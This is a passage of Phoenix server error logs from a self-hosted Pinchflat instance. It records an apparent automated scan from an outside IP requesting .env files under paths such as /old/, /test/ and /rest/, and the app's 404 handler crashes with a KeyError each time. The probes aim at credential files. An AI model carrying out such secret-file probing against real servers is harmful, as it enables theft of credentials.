~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3251.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49654}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3251.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49654}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3252.0>, params: %{}, path_info: ["old", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:40.489 [error] #PID<0.3254.0> running PinchflatWeb.Endpoint (connection #PID<0.3253.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /test/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3253.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49656}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3254.0>, params: %{}, path_info: ["test", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/test/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-h68y-kT-V4AAByD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3253.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49656}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3253.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49656}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3254.0>, params: %{}, path_info: ["test", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https" (truncated) 21:08:40.492 [error] #PID<0.3256.0> running PinchflatWeb.Endpoint (connection #PID<0.3255.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /tests/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tests/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3255.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tests/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49660}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3256.0>, params: %{}, path_info: ["tests", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/tests/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-h7n6K_sihkAAOyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3255.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tests/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49660}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tests/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3255.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tests/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49660}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3256.0>, params: %{}, path_info: ["tests", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto" (truncated) 21:08:40.499 [info] GET /storage/.env 21:08:40.499 [debug] QUERY OK source="settings" db=0.1ms idle=11.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.500 [debug] QUERY OK source="settings" db=0.1ms idle=11.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.500 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.500 [error] #PID<0.3258.0> running PinchflatWeb.Endpoint (connection #PID<0.3257.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /storage/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3257.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49662}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3258.0>, params: %{}, path_info: ["storage", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/storage/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-h9sd5WbJT4AAO0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3257.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49662}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3257.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49662}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3258.0>, params: %{}, path_info: ["storage", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {" (truncated) 21:08:40.557 [info] GET /rest/.env 21:08:40.557 [debug] QUERY OK source="settings" db=0.2ms idle=68.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.558 [debug] QUERY OK source="settings" db=0.2ms idle=66.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.558 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.558 [error] #PID<0.3260.0> running PinchflatWeb.Endpoint (connection #PID<0.3259.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /rest/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /rest/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3259.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/rest/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49670}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3260.0>, params: %{}, path_info: ["rest", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/rest/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-iLazSPG2aMAAO2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 